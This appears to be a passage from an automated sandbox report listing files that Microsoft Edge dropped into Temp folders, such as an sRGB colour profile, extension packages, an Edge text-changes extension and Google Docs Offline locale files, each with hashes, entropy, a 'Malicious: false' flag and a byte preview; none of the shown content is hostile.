SSDEEP:	24576:8RsiV3NQnhQY3go5JVFy9+jRpdcbNoTMzuFuD5V2fIdX3dr4A86pG7HUtHSt0hOx:gMuYXfVFyORPINoTMIuD5V2f8ndraKGt
MD5:	E45A48A01F77049F1763105F5587F17C
SHA1:	1CABEE6B4257B334F0497FC67512772D063D5CF9
SHA-256:	9E56D287654225E11589F2A1F5936C9E7000989E718EF22ECD467C7568634149
SHA-512:	5A1F829B6C309FFCA72935D882B2A01AC6B3D5C71305DDAFB4C1EF593F282DFA10F25F80A236F725995A4FE06DC7F097ED5D7260EA5A0EBCD606C2C8F81694FB
Malicious:	false
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

C:\Users\user\AppData\Local\Temp\f1588c3f-c65c-4661-9ea0-51d6a717b9aa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\scoped_dir8068_1309210953\14d62d30-3ab3-41d3-9523-93154228d015.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8068_1309210953\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8068_1309210953\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8068_1309210953\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8068_1309210953\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\13a8fad1-b855-4ca2-a3ee-ccafb8d9779a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
